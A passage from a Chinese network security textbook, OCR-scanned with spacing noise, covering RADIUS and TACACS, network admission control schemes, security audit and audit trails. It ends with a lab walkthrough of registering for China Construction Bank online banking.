(3) 鉴 权 完成 后 ,服务 器 将 响应 信息 传递 给 网 络 接 入 服务 器 和 计 费 服务 器 ,网 络 接 入 
服务 器 根据 当前 配置 来 决定 针对 用 户 的 相应 策略 。 

RADIUS 协议 的 认证 端口 号 为 1812 或 1645 , 计 费 端口 号 为 1813 或 1646。RADIUS 
通过 统一 的 用 户 数 据 库 存储 用 户 信息 进行 验证 与 授权 工作 。 

2) RADIUS 的 加 密 方法 

对 于 重要 的 数据 包 和 用 户口 令 ,RADIUS 协议 可 使 用 MD5 算法 对 其 进行 加 密 ,在 其 
客户 端 (NAS) 和 服务 器 端 (RADIUS 服务 器 ) 分 别 存 储 一 个 密 钥 ,利用 此 密 钥 对 数据 进行 
算法 加 密 处 理 , 密 钥 不 宜 在 网 络 上 传送 。 
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3) RADIUS 的 重 传 机 制 

RADIUS 协议 规定 了 重 传 机 制 。 如 果 NAS 向 某 个 RADIUS 服务 器 提交 请 求 没 有 
收 到 返回 信息 , 则 可 要 求 备份 服务 器 重 传 。 由 于 有 多 个 备份 服务 器 ,因此 NAS 要 求 重 传 
时 可 采用 轮 询 方法 。 如 果 备 份 服务 器 的 密 钥 与 以 前 的 密 钥 不 同 , 则 需 重 新 进行 认证 。 


3. 终端 访问 控制 器 访问 控制 系统 


终端 访问 控制 器 访问 控制 系统 (Terminal Access Controller Access Control System, 
TACACS) 的 功能 是 通过 一 个 或 几 个 中 心服 务 器 为 网 络 设备 提供 访问 控制 服务 。 与 上 述 
RADIUS 的 区 别 是 ,TACACS 是 思科 (Cisco) 公 司 专 用 的 协议 ,具有 独立 身份 认证 、 鉴 权 
和 审计 等 功能 。 


“635 准 入 控制 与 身份 认证 管理 
1. 准 入 控制 技术 


企 事 业 机 构 的 网 络 系统 在 安装 防火 墙 .漏洞 扫描 系统 、 入 侵 检测 系统 和 病毒 检测 软 
件 等 安全 设施 后 仍 可 能 遭受 恶意 攻击 。 其 主要 原因 是 一 些 用 户 不 能 及 时 安装 系统 漏洞 
补丁 和 升级 病毒 库 等 ,为 网 络 系统 带 来 了 安全 隐患 。 

【案例 6-4】 思科 公司 在 2003 年 11 月 率先 提出 了 网 络 准 入 控制 (Network 
Admission Control,NAC) 和 自 防御 网 络 (SDN) 的 概念 ,并 联合 IBM 等 厂商 共同 开发 和 
推广 NAC。 微 软 公司 也 迅速 做 出 反应 ,提供 了 具有 同样 功能 的 网 络 准许 接 入 保护 方案 
(Network Access Protection,NAP)。 思 科 公 司 的 NAC 和 微软 公司 的 NAP 在 原理 和 本 
质 上 一 致 ,不 仅 对 用 户 身份 进行 认证 ,还 对 接 入 设备 安全 状态 进行 评估 ,使 各 接 入 点 都 具 
有 较 高 可 信和 度 和 健壮 性 ,从 而 保护 网 络 基础 设施 。 国 内 外 厂商 之 后 在 准 入 控制 技术 产品 
的 开发 上 激烈 竞争 ,思科 公司 推出 准 入 控制 产品 解决 方案 之 后 ,华为 公司 也 紧 随 其 后 , 推 
出 了 端点 准 入 防御 (Endpoint Admission Defense, EAD) 产 品 ,SYGATE 公司 也 公布 了 
SNAC 通用 解决 方案 。 


2. 准 入 控制 技术 方案 比较 


思科 公司 的 NAC、 微 软 公司 的 NAP 和 华为 公司 的 EAD 都 是 专用 的 准 入 控制 系统 。 
不 同 厂商 的 准 入 控制 方案 虽然 在 原理 上 基本 类 似 ,但 是 ,具体 实现 方式 各 不 相同 。 主 要 
区 别 体现 在 以 下 4 个 方面 。 

(1) 选取 协议 。 思科 公 司 及 华为 公司 选择 的 是 EAP 协议 .RADIUS 协议 和 IEEE 
802. 1x 协议 实现 准 入 控制 。 微 软 公司 则 选择 DHCP 和 RADIUS 协议 来 实现 。 

(2) 身份 认证 管理 方式 。 思科 公司 、 华 为 公司 和 微软 公司 在 后 台 都 选择 使 用 
RADIUS 服务 器 作为 认证 管理 平台 。 华 为 公司 主要 以 用 户 名 和 密码 方式 进行 身份 认证 ， 
思科 公司 选择 了 采用 证 书 方式 管理 用 户 身 份 方 式 ;微软 公司 暂时 还 没有 推出 具体 的 
PR 

(3) 策略 管理 。 各 厂家 都 选择 了 集中 式 控 制 管理 方式 。 策 略 控制 和 应 用 策略 服务 器 
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(通常 是 RADIUS 服务 器 ) 和 第 三 方 的 软件 产品 (病毒 库 管 理 及 系统 补丁 等 ) 协 作 进 行 。 
用 户 资料 和 准 和 人 策略 由 统一 的 管理 平台 负责 。 

(4) 准 入 控制 。 思 科 公 司 和 华为 公司 的 准 入 控制 原理 大 同 小 异 , 即 利用 本 公司 特定 
的 网 络 设备 来 现 ;微软 公司 因为 没有 控制 网 络 基础 设施 的 产品 ,选择 了 通过 DHCP 服务 
器 控制 准 入 流程 。 


3. 准 入 控制 技术 中 的 身份 认证 


身份 认证 技术 的 发 展 过 程 经 历 了 ,从 软件 到 软 硬 件 结合 ,从 单一 因子 认证 到 双 因 素 
认证 ,从 静态 认证 到 动态 认证 。 目 前 常用 的 身份 认证 方式 包括 用 户 名 /密码 方式 ` 公 钥 证 
书 方式 ,动态 口令 方式 等 。 无论 采 用 哪 种 方式 ,都 有 其 优 劣 。 如 采用 用 户 名 /密码 方式 ， 
用 户 名 及 弱 密 码 容 易 被 窃取 或 攻击 ;而 采用 公 角 证书, 又 涉及 证 书生 成 发放、 撤销 等 复 
杂 的 管理 问题 ; 私 钥 的 安全 性 也 取决 于 用 户 个 体 对 私 钥 的 保管 。 

全 注意 ; 身份 认证 技术 的 安全 性 关键 在 于 组 织 采 取 的 安全 策略 。 身 份 认证 技术 必须 
满足 组 织 机 构 对 网 络 安全 的 具体 实际 需求 ,同时 也 要 求 组 织 机 构 能 够 认真 完整 地 执行 安 
全 管理 策略 。 

名 拓展 阅读 “身份 认证 是 网 络 准 入 控制 的 基础 。 在 各 种 准 入 控制 方案 中 都 采用 了 
身份 认证 技术 。 目 前 ,身份 认证 管理 技术 和 准 入 控制 进一步 融合 ,向 综合 管理 和 集中 控 
制 方向 发 展 。 


“4. 准 入 控制 技术 的 现状 与 发 展 


准 入 控制 技术 发 展 很 快 ,并 出 现 了 各 种 方案 整合 的 趋势 。 各 主要 厂商 在 突出 发 展 本 
身 准 入 控制 方案 的 同时 也 加 大 了 厂商 之 间 的 合作 力度 。 思 科 公 司 和 微软 公司 都 承诺 支 
持 对 方 的 准 入 控制 计划 ,并 开放 自己 的 API, 准 入 控制 标准 化 工作 也 在 加 快 进 行 。 可 信 
计算 组 织 (Trusted Computing Group,TCG) 成 立 了 可 信 网 络 连接 (Trusted Network 
Connect,TNC) 分 组 ,TNC 计划 为 端点 准 入 强制 策略 开发 一 个 对 所 有 开发 商 开放 的 架构 
规范 ,从 而 保证 各 个 开发 商 端点 准 入 产品 的 可 互 操作 性 。 这 些 规范 将 利用 现存 的 工业 标 
准 , 并 在 需要 的 时 候 开发 新 的 标准 和 协议 。TNC 促进 了 标准 化 的 快速 发 展 ,希望 通过 构 
建 框 架 和 规范 保证 互 操作 性 ,其 规范 将 包括 端点 的 安全 构建 之 间 、 端 点 主机 和 网 络 设备 
之 间 以 及 网 络 设备 之 间 的 软件 接口 和 通信 协议 , 准 入 控制 正在 向 标准 化 、 软 硬件 相 结合 
的 方向 发 展 。 

【案例 6-s] 新 一 代 网 络 准 入 控制 系统 金盾 CIS9。 根 据 国家 (信息 安全 等 级 保护 管 
理 办 法 兴 涉 及 国家 秘密 的 信息 系统 分 级 保护 管理 办 法 》 和 《涉及 国家 秘密 的 计算 机 信息 
系统 分 级 保护 技术 要 求 ) 要 求 : 以 身份 鉴别 、 杜 绝 非法 入 侵 和 接 入 保护 为 主要 设计 理念 ， 
秉承 “不 改变 网 络 、 不 依赖 网 络 设备 、 部 署 简单 ”的 特性 ,兼容 各 种 复杂 的 网 络 环境 ,支持 
分 散 式 快速 部 署 ,解决 网 络 准 入 控制 的 合 规 性 要 求 ,达到 “违规 不 入 网 、 入 网 必 合 规 ” 的 管 
理 规范 。 可 以 自动 发 现 非法 接 入 的 设备 ,详细 记录 所 有 入 侵 计 算 机 的 IP y bk MAC 地 
址 、 存 活 状 态 以 及 入 侵 接 入 时 间 , 并 及 时 发 送 报警 信息 ,帮助 及 时 响应 并 实施 相应 安全 措 
施 。 系 统 可 自动 阻 断 其 访问 机 构 所 有 内 外 网 资源 ,提高 网 络 抗 风险 能 力 。 
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[ED 讨论 思考 
(1) 访问 控制 的 模式 有 哪 几 种 ? 各 模式 的 区 别 和 联系 如 何 ? 
(2) 准 入 技术 的 几 种 技术 方案 有 何 区 别 和 联系 ? 


64 网 络 安全 审计 


641 网 络 安全 审计 概述 


1. 网 络 安全 审计 的 概念 及 目的 


网 络 系统 安全 审计 Caudit) 也 称 计 算 机 安全 审计 ,是 指 按照 一 定 的 网 络 安全 策略 , 利 
用 记录 、 系 统 活动 和 用 户 活动 等 信息 ,检查 、 审 查 和 检验 操作 事件 的 环境 及 活动 ,从 而 发 
现 系 统 漏洞 .入侵 行为 或 改善 系统 性 能 的 过 程 。 也 是 审查 评估 系统 安全 风险 并 采取 相应 
措施 的 一 个 过 程 。 在 不 至 于 混淆 的 情况 下 ,简称 为 安全 审计 ,实际 是 记录 与 审查 用 户 操 
作 计 算 机 及 网 络 系统 活动 的 过 程 ,是 提高 系统 安全 性 的 重要 举措 。 系 统 活动 包括 操作 系 
统 活动 和 应 用 程序 进程 的 活动 。 用 户 活动 包括 用 户 在 操作 系统 和 应 用 程序 中 的 活动 ,如 
用 户 所 使 用 的 资源 、 使 用 时 间 、 执 行 的 操作 等 。 安 全 审计 对 网 络 系 统 记录 及 操作 行为 进 
行 独立 的 审查 和 估计 ,其 主要 应 用 和 目的 包括 5 个 方面 : 

(1) 对 可 能 存在 的 潜在 攻击 者 起 到 威慑 和 警示 作用 ,核心 是 风险 评估 。 

(2) 测试 系统 的 控制 情况 ,及 时 进行 调整 ,保证 与 安全 策略 和 操作 规程 协调 一 致 。 

(3) 对 已 出 现 的 破坏 事件 做 出 评估 ,并 提供 有 效 的 灾难 恢复 和 追究 责任 的 依据 。 

(4) 对 网 络 系统 控制 、 安 全 策略 与 规程 中 的 变更 进行 评价 和 反馈 ,以 便 修订 决策 和 
部 署 。 

(5) 协助 系统 管理 员 及 时 发 现 网 络 系统 入 侵 或 潜在 的 系统 漏洞 及 隐患 。 


2. 网 络 安全 审计 的 类 型 


安全 审计 从 审计 级 别 上 可 分 为 3 种 类 型 : 系统 级 审计 、 应 用 级 审计 和 用 户 级 审计 。 

(1) 系统 级 审计 。 主 要 针对 系统 的 登 人 情况 .用户 识别 号 、 登 入 尝试 的 日 期 和 具体 时 
间 、 退 出 的 日 期 和 时 间 、 所 使 用 的 设备 、 登 入 后 运行 程序 等 事件 信息 进行 审查 。 典 型 的 系 
统 级 审计 日 志 还 包括 部 分 与 安全 无 关 的 信息 ,如 系统 操作 、 费 用 记 账 和 网 络 性 能 ,这 类 审 
计 无 法 跟踪 和 记录 应 用 事件 ,也 无 法 提供 足够 的 细节 信息 。 

(2) 应 用 级 审计 。 主 要 针对 的 是 应 用 程序 的 活动 信息 ,如 打开 和 关闭 数据 文件 , 读 
取 、 编 辑 \ 删 除 记 录 或 字段 等 特定 操作 以 及 打印 报告 等 。 

(3) 用 户 级 审计 。 主 要 是 审计 用 户 的 操作 活动 信息 ,如 用 户 直接 启动 的 所 有 命令 、 用 
户 所 有 的 鉴别 和 认证 操作 、 用 户 所 访问 的 文件 和 资源 等 信息 。 
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642 系统 日 记 安 全 审计 


1. 系统 日 志 的 内 容 


系统 日 志 主 要 根据 网 络 安全 级 别 及 强度 要 求 ,选择 记录 部 分 或 全 部 的 系统 操作 。 如 
审计 功能 的 启动 和 关闭 ,使 用 身份 验证 机 制 ,将 客体 引入 主体 的 地 址 空间 ,删除 客体 、 管 
理 员 安全 员 、 审 计 员 和 一 般 操作 人 员 的 操作 ,以 及 其 他 专门 定义 的 可 审计 事件 。 

对 于 单个 事件 行为 ,通常 系统 日 志 主 要 包括 事件 发 生 的 日 期 及 时 间 、 引 发 事件 的 用 
户 IP 地 址 ,事件 源 及 目的 地 位 置 .事件 类 型 等 。 


2. 安全 审计 的 记录 机 制 


对 于 各 种 网 络 系统 应 采用 不 同 的 记录 日 志 机 制 。 日 志 的 记录 方式 有 3 种 ,可 以 由 操 
作 系 统 完成 ,也 可 以 由 应 用 系统 或 其 他 专用 记录 系统 完成 。 大 部 分 情况 都 采用 系统 调用 
syslog 方式 记录 日 志 , 少 部 分 采用 SNMP 记录 。 其 中 ,syslog 记录 机 制 主要 由 守护 程序 、 
规则 集 及 系统 调用 3 部 分 组 成 。 


3. 日 志 分 析 


日 志 分 析 的 主要 目的 是 在 大 量 的 记录 日 志 信息 中 找到 与 系统 安全 相关 的 数据 ,并 分 
析 系 统 运行 情况 。 日 志 分 析 的 主要 任务 如 下 : 

(1) 潜在 威胁 分 析 。 日 志 分 析 系 统 可 以 根据 安全 策略 规则 监控 审计 事件 ,检测 并 发 
现 潜在 的 入 侵 行 为 。 其 规则 可 以 是 已 定义 的 敏感 事件 子 集 的 组 合 。 

(2) 异常 行为 检测 。 在 确定 用 户 正常 操作 行为 基础 上 ,当日 志 中 的 异常 行为 事件 违 
反 或 超出 正常 访问 行为 的 限定 时 ,分 析 系 统 可 指出 将 要 发 生 的 威胁 。 

(3) 简单 攻击 探测 。 日 志 分 析 系 统 可 对 重大 威胁 事件 的 特征 进行 明确 的 描述 , 当 这 
些 攻击 现象 再 次 出 现时 ,可 以 及 时 提出 告 

(4) 复杂 攻击 探测 。 更 高 级 的 日 志 分 析 系统 还 应 该 能 检测 到 多 步 和 人 侵 序 列 , 当 攻击 
序列 出 现时 ,可 及 时 预测 其 发 生 的 步骤 及 行为 ,以 便 做 好 预防 。 


4. 审计 事件 查阅 与 存储 


审计 系统 可 以 成 为 追踪 入侵 ,恢复 系统 的 直接 证 据 , 所 以 其 自身 的 安全 性 更 为 重要 。 
审计 系统 的 安全 主要 包括 审计 事件 查阅 安全 和 存储 安全 。 审 计 事 件 的 查阅 应 该 受到 严 
格 的 限制 ,避免 日 志 被 自 改 。 可 通过 以 下 措施 保护 查阅 安全 : 

(1) 审计 查阅 。 审 计 系 统 只 为 专门 授权 用 户 提 供 查阅 日 志和 分 析 结果 的 功能 。 

(2) 有 限 审计 查阅 。 审 计 系 统 只 能 提供 对 内 容 的 读 权限 ,拒绝 读 以 外 的 访问 权限 。 

(3) 可 选 审 计 查 阅 。 在 有 限 审计 查阅 的 基础 上 ,限制 查阅 权限 及 范围 。 

审计 事件 的 存储 安全 具体 要 求 如 下 : 

(1) 保护 审计 记录 的 存储 。 存 储 系统 要 求 对 日 志 事 件 具 有 保护 功能 ,以 防止 未 授权 
的 修改 和 删除 ,并 具有 检测 修改 及 删除 操作 的 功能 。 
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(2) 保证 审计 数据 的 可 用 性 。 保 证 审计 存储 系统 正常 安全 使 用 ,并 在 遭受 意外 时 ,可 
防止 或 检测 审计 记录 的 修改 ,在 存储 介质 出 现 故障 时 ,能 确保 审计 记录 另行 存储 且 不 被 
破坏 。 

(3) 防止 审计 数据 丢失 。 在 审计 踪迹 超过 预定 值 或 存 满 时 ,应 采取 相应 的 措施 防止 
数据 丢失 ,如 忽略 可 审计 事件 ,只 允许 记录 有 特殊 权限 的 事件 ,覆盖 以 前 的 记录 ,停止 工 
作 或 另存 为 备份 等 。 


643 网 络 安全 审计 跟踪 


1. 网 络 审计 跟踪 的 概念 及 意义 


审计 跟踪 (audit trail) 指 按 事 件 顺序 检查 审查、 检验 其 运行 环境 及 相关 事件 活动 的 
过 程 。 审 计 跟 踪 主 要 用 于 实现 重 现 事件 .评估 损失 、 检 测 系统 产生 的 问题 区 域 ` 提 供 有 效 
的 应 急 灾难 恢复 、 防 止 系统 故障 或 使 用 不 当 等 方面 。 

审计 跟踪 作为 一 种 安全 机 制 ,主要 审计 目标 如 下 : 

(1) 审计 系统 记录 有 利于 迅速 发 现 系统 问题 ,及 时 处 理事 故 , 保 障 系统 运行 。 

(2) 可 发 现 试图 绕 过 保护 机 制 的 入 侵 行 为 或 其 他 操作 。 

(3) 能 够 发 现 用 户 的 访问 权限 转移 行为 。 

(4) 制止 用 户 企 图 绕 过 系统 保护 机 制 的 操作 事件 。 

审计 跟踪 是 提高 系统 安全 性 的 重要 工具 。 安 全 审计 跟踪 的 意义 在 于 : 

(1) 利用 系统 的 保护 机 制 和 策略 ,及 时 发 现 并 解决 系统 问题 ,审计 客户 行为 。 在 电子 
商务 中 ,利用 审计 跟踪 记录 客户 活动 。 包 括 登 入 购物 、 付 账 、 送 货 和 售后 服务 等 。 可 用 
于 可 能 产生 的 商业 纠纷 ,还 可 用 于 公司 财务 审计 、 贷 款 和 税务 监察 等 。 

(2) 审计 信息 可 以 确定 事件 和 攻击 源 ,用 于 检查 计算 机 犯罪 。 有 时 黑客 会 在 其 ISP 
的 活动 日 志 或 聊天 室 日 志 中 留 下 蛛丝马迹 ,对 黑客 具有 强大 的 威慑 作用 。 

(3) 通过 对 安全 事件 的 不 断 收集 .积累 和 分 析 , 有 选择 地 对 其 中 的 某 些 站 点 或 用 户 进 
行 审计 跟踪 ,以 提供 发 现 可 能 产生 破坏 性 行为 的 有 力 证 据 。 

(4) 既 能 识别 访问 系统 的 来 源 ,又 能 指出 系统 状态 转移 过 程 。 


2. 审计 跟踪 的 主要 问题 


安全 审计 跟踪 主要 应 考虑 以 下 两 个 方面 的 问题 ， 

(1) 选择 记录 信息 。 审 计 记 录 必 须 包 括 网 络 系统 中 所 有 用 户 、 进 程 和 实体 获得 某 一 
级 别 的 安全 等 级 的 操作 信息 ,包括 用 户 注册 、 用 户 注销 、 超 级 用 户 的 访问 、 各 种 重要 数据 
的 产生 、 其 他 访问 状态 的 改变 等 信息 ,特别 应 当 注 意 公 共 服 务 器 上 的 匿名 或 往来 账号 的 
活动 情况 或 其 他 可 疑 信息 。 

实际 上 ,收集 的 信息 随 着 站 点 和 访问 类 型 不 同 而 有 所 差异 。 通 常 收集 的 信息 为 用 户 
名 ,主机 名 、 权 限 的 变更 信息 、 时 间 蕉 、 被 访问 的 对 象 和 资源 等 。 具 体 收集 信息 的 种 类 和 
数量 经 常 还 受 限 于 系统 的 存储 空间 等 。 

(2) 收集 并 确定 安全 审计 跟踪 信息 。 主 要 确定 被 记录 安全 事件 的 类 别 ( 如 违反 安全 
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要 求 的 各 种 操作 ) ,并 确定 所 收集 的 安全 审计 跟踪 的 具体 信息 内 容 , 以 确保 安全 审计 的 实 
效 , 更 好 地 发 挥 安全 审计 跟踪 的 重要 作用 。 

知识 拓展 ”审计 是 系统 安全 策略 的 一 个 重要 组 成 部 分 ,贯穿 整个 系统 运行 过 程 
中 , 履 盖 不 同 的 安全 机 制 , 为 其 他 安全 策略 的 改进 和 完善 提供 了 必要 的 信息 。 对 安全 审 
计 的 深入 研究 为 安全 策略 的 完善 和 发 展商 定 重要 基础 和 依据 。 


644 网 络 安全 审计 的 实施 


为 了 确保 网 络 安全 审计 实施 的 可 用 性 和 正确 性 ,需要 在 保护 和 审查 审计 数据 的 同时 
做 好 计划 分 步 实施 。 审 计 应 该 根据 具体 安全 事件 情况 的 需要 进行 定期 审查 或 自动 实时 
审查 。 系 统 安 全 管理 员 应 该 根据 计算 机 安全 管理 的 要 求 确定 需要 维护 的 审计 数据 的 内 
容 、 类 型 .范围 和 时 间 等 ,其 中 包括 系统 内 保存 的 和 归档 保存 的 数据 。 具 体 工作 主要 包括 
保护 审查 审计 数据 及 审计 实施 。 


1. 审查 审计 数据 的 安全 保护 


(1) 保护 审计 数据 的 安全 。 为 了 审查 审计 数据 的 安全 ,各 企 事 业 机 构 都 应 当 严格 限 
制 在 线 访问 审计 日 志 。 除 了 系统 管理 员 仅 限于 检查 访问 之 外 ,其 他 任何 人 员 都 无 权 访 问 
审计 日 志 , 更 应 严禁 非法 修改 审计 日 志 , 以 确保 审计 跟踪 数据 的 完整 性 。 

审计 数据 安全 保护 的 常用 方法 是 使 用 数据 签名 和 只 读 设备 存储 数据 。 采 用 强 访问 
控制 是 保护 审计 跟踪 记录 免 受 非法 访问 的 有 效 举 措 。 黑 客 为 拖 人 耳目 清除 痕迹 ,常设 法 
修改 审计 跟踪 记录 ,因此 ,必须 设法 严格 保护 审计 跟踪 文件 。 

审计 跟踪 信息 的 保密 性 也 应 进行 严格 保护 ,利用 强 访问 控制 和 加 密 技术 十 分 有 效 ， 
审计 跟踪 所 记录 的 用 户 信息 非常 重要 ,通常 包含 用 户 及 交易 记录 等 机 密 信 息 。 

(2) 审查 审计 数据 的 方式 方法 。 审 计 跟 踪 的 审查 与 分 析 可 分 为 定期 检查 、 实 时 检查 
和 事后 检查 3 种 。 审 查 人 员 应 掌握 发 现 异 常 活动 的 方式 方法 和 途径 。 通 过 用 户 识别 码 、 
终端 识别 码 ,应 用 程序 名 .日 期 时 间 等 参数 检索 审计 跟踪 记录 并 生成 所 需 的 审计 报告 ， 
简化 审计 数据 跟踪 检查 的 有 效 方法 。 


2. 安全 审计 实施 的 主要 步骤 


审计 是 一 个 连续 不 断 地 改进 提高 的 过 程 。 审 计 的 重点 是 评估 企业 现行 的 安全 政策 、 
策略 ` 机 制 和 系统 监控 情况 。 审 计 实 施 的 主要 步骤 如 下 : 

(1) 确定 审计 事项 。 申 请 时 应 说 明 的 安全 审计 工作 事项 主要 包括 审计 原因 、 内 容 、 范 
围 .重点 ,必要 的 升级 与 纠正 ,支持 数据 和 审计 所 需 人 才 物 等 ,并 上 报 审批 。 

(2) 做 好 审计 计划 。 一 个 详细 ,完备 的 审计 计划 是 实施 有 效 审计 的 关键 ,包括 审计 内 
容 的 详细 描述 .关键 时 间 参与 人 员 和 独立 机 构 等 。 

(3) 查阅 审计 历史 。 审 计 中 应 查阅 以 前 的 审计 记录 ,有 助 于 通过 对 比 检查 安全 漏洞 
隐患 和 规程 ,更 好 地 采取 安全 防范 措施 ,同时 保管 好 审计 相关 资源 等 。 

(4) 实施 安全 风险 评估 。 审 计 小 组 制定 好 审计 计划 后 ,要 对 审计 计划 进行 风险 评估 。 

(5) 划 定 审计 范围 。 审 计 范 围 划 定 对 审计 的 开展 很 关键 ,范围 的 确定 要 考虑 到 审计 
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内 容 间 的 联系 ,如 数据 中 心 局 域 网 或 商业 相关 的 一 些 财务 报表 等 。 审 计 范 围 的 划 定 有 利 
于 集中 注意 力 在 资产 .规程 和 政策 方面 的 审计 。 

(6) 确定 审计 重点 和 步骤 。 各 类 机 构 都 应 将 主要 精力 放 在 审计 的 重点 上 。 并 确定 具 
体 的 审计 步骤 和 区 域 , 避 免 审 计 的 延缓 或 不 完全 ,以 免得 出 令 人 难以 信服 的 结果 。 

(7) 提出 改进 意见 。 安 全 审计 最 后 应 提出 相应 的 提高 安全 防范 的 建议 ,以 便于 实施 。 

讨论 思考 

(1) 安全 审计 的 类 型 有 哪些 ? 

(2) 系统 日 志 分 析 都 有 哪些 方法 ? 

(3) 审计 跟踪 的 概念 及 意义 是 什么 ? 


65 实验 六 : 申请 网 银 用 户 的 身份 认证 


651 实验 目的 


(1) 理解 网 上 银行 对 用 户 身 份 认证 的 重要 性 。 
(2) 掌握 用 户 申 请 网 上 银行 的 身份 认证 过 程 。 
(3) 掌握 用 户 申 请 网 上 银行 的 身份 认证 操作 。 


652 实验 内 容 及 步骤 
1. 网 银 申请 过 程 
登录 中 国 建设 银行 官方 网 站 http://www. ccb. com/ ,如 图 6-10 所 示 。 


AA == = = 


繁体 Engish | 分行” 网 点 及 ATM Q uma? momstsnaes 


公司 机 构 客户 ， ”| 。 小 微 企业 客户 ， | 关于 建行 ， 善 融 商务 ， 


分 期 优选 信用卡。 理财。 电子 银行 贵 全 属 。 房 通 。 私人 根 行 。 投资 者 关系 研究 报告 


>*= 


| 一 个 人 网 上 银行 登录 一 
、 慑 和 简介 mis= 
， 安全 指引 。 ”下 载 中 心 


| 私人 银行 网 上 银行 登录 


图 6-10 中国 建设 银行 官网 主页 


单 击 左 侧 界面 中 的 “马上 开通 ”按钮 ,进入 “个 人 网 上 银行 "界面 ,如 图 6-11 所 示 ,认真 
阅读 个 人 客户 服务 协议 后 点 击 选择 页 面 下 端的 复 选 框 ,并 单 击 “ 同 意 ”按钮 。 
根据 如 图 6-12 所 示 的 界面 提示 填写 账户 信息 ,这 些 信息 要 经 过 系统 自动 检验 真实 准 
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人 中转 建设 银行 个 人 四 上 急行 


@ 中 国 建设 根 行 网 上 银行 普通 客户 开通 
普通 客户 开通 流程 : ， 1- 阅读 协议 及 风险 提示 ”2. 填写 账户 信息 ”3. 输入 扰 信 验证 码 ，4. 设置 网 上 扫 行 基本 信息 
1. 请 阅读 协议 及 风险 提示 

《中 国 建设 银行 电子 银行 个 人 客户 服务 协议 及 风险 提示 为 


中 国 建设 银行 股份 有 限 公司 电子 银行 


个 人 客户 服务 协议 


为 明确 双方 的 权利 和 义务 ， 规 范 双方 半 务 行为 , 改 蔷 客 户 服务 ， 本 着 平等 互利 和 原则 ,电子 根 行 个 人 客户 服务 申请 人 (以 下 简称 “ 甲 方 ”) 
与 中 国 建设 根 行 展 份 有 限 公司 (以 下 简称 “乙方 ”) 就 中 国 建 设 根 行 电子 根 行 服务 的 相关 事宜 达成 本 协议 ,协议 双方 应 予 遵守 。 
第 一 条 定义 
如 无 特别 说 明 ， 下 列 用 语 在 本 协议 中 的 含义 为: 
电子 根 行 服务 : 指 乙方 借助 国际 互联 网、 公共 通讯 、 电 话 集成 线路 等 方式 为 甲 方 提供 的 支付 结算 服务 、 客 户 理财 服务 及 信息 类 服务 。 
电子 银行 服务 : 指 乙 方 借助 国际 互联 网 、 公 共通 讯 、 电 话 集成 线路 等 方式 为 四 方 提供 的 支付 结算 服务 、 客 户 理财 服务 及 信息 类 服务 。 
身份 认证 要 素 : 指 在 电子 银行 交易 中 乙方 用 于 识别 甲 方 身份 的 信息 要 素 ， 如 客户 号 (用 户 名 、 证件 号 码 等 )、 密 码 、 电子 证 书 、 
网 眼 盾 、 动 态 口令 、 签 约 设置 的 主 叫 电话 号 码 、 签 约 设置 的 手机 SIH 卡 或 TN 卡 等 。 28 
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6-11 个 人 客户 开通 “网 上 银行 "服务 协议 
确 , 才 可 以 继续 进行 操作 。 


中 里 建设 银行 | 个 人 四 上 银行 


@ 中 国 建设 银行 网 上 银行 善 通 客户 开通 
普通 客户 开通 流程 ， 1. 阅读 协议 及 风险 提示 ， 2. 填写 帐户 信息 ， 3. 输入 短信 验证 码 ， 4. 设置 网 上 银行 基本 信息 
2. 请 填写 账户 信息 

.tt:[C 


s 账 B:[ | “请 输入 您 的 信 警 卡 或 活期 存折 账户 信息 ,为 了 方便 您 核对 帐号， 我们 
自动 对 鳄 输入 的 账号 进行 每 四 位 教 字 后 添加 一 个 空格 的 特殊 处 理 


四 位 : * 如 您 在 我 行 尚未 祯 留 或 已 更 换 手机 号 码 ， 请 至 柜台 添加 或 修改 你 的 账 
“和 3Emt: [  —] PR05205 | 


站 附加 码 : ] 


“yy 看 不 青 ， 换 一 张 
Szhrr (不 区 分 大 号》 


下 = 到 == 


6-12 ”填写 账户 信息 界面 


当 账 户 信息 填写 完成 并 确认 无 误 后 单 击 * 下 一 步 "按钮 。 网 上 银行 系统 将 自动 对 用 
户 所 填写 的 信息 进行 校 验 , 随 后 用 户 即 可 享受 建行 针对 普通 客户 所 提供 的 服务 。 注 册 成 
功 后 ,网 上 银行 系统 将 自动 返回 给 用 户 登 录用 “用 户 号 ”, 用 户 可 直接 点 击 成 功 页 面 中 的 
“登录 网 上 银行 ?进入 网 上 银行 ,如 图 6-13 所 示 。 


2. 数字 证 书 下 载 


注册 用 户 成 为 (无 证 书 ) 普 通 客 户 后 ,还 需要 下 载 数字 证 书 。 在 网 上 银行 登录 界面 中 
输入 用 户 名 及 开通 时 设置 的 登录 密码 ,如 图 6-14 所 示 。 
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G 中 四 建设 银行 个 人 由 上 银行 


@ 中 国 建设 银行 网 上 银行 普通 客户 开通 

普通 客户 开通 流程 : ”1. 阅读 协议 及 风险 提示 ”2. 填写 账户 信息 ， 3- 输入 短信 验证 码 ， 4. 设置 网 上 银行 基本 信息 

3. 请 输入 短信 验证 如 

* 账户 取款 密码 : | ] * 如 果 疗 8 王 户 取 教 军 码 是 简单 盏 码 ， 请 先前 往 网 点 柜台 修改 
。 短信 验证 码 : [ CCC] [BEF Ta:2i 向 的 手机 199ssss6380 发 关 短 信 蛤 证 三 ,请 及 时 
=== 输入 ; 如 未 收 到 验证 码 ， 请 点 击 重新 获取 ; 如 手机 号 码 不 正确 或 为 
Ë 重 新 获取 空 ， 请 到 9 点 柜台 修改 、 补 设 或 咨 调 95533 
T == 


6-13 ”设置 密码 并 输入 短信 验证 码 


G 中 国 建设 银行 
China Construction Bank 


欢迎 使 用 个 人 网 上 银行 
* 最 新 公告 关于 防范 网 络 钓鱼 风险 的 提示 
用 户 名 @ | ] eAPS? 首次 登录 
帐户 客户 或 柜台 开通 网 根 
登录 密码 : |] BEB? BG, 首次 登录 网 所 清 
wawa 先 设置 登录 密码 。 


. Qd sf [有 
W: |] #fz66d Cs, @Bəmmn..| 


6-14 ”登录 网 上 银行 界面 


客户 登录 后 ,在 如 图 6-15 所 示 的 网 上 银行 签约 流程 界面 中 单 击 “ 下 载 证 书 ” 按 钮 , 进 
入 数字 证 书 下 载 页 面 。 按 照 页面 的 提示 进行 下 载 ,直到 提示 安装 成 功 为 止 。 

当下 载 并 安装 完成 数字 证 书后 ,用 户 必须 至 少 以 “使 用 证 书 进 入 ”方式 成 功 登 录 一 次 
网 上 银行 (身份 认证 过 程 ) ,经 认证 后 升级 为 “有 证 书 ” 普 通 客 户 ( 网 银 用 户 )。 


3. 柜台 验证 签约 


对 于 


行 账户 、 


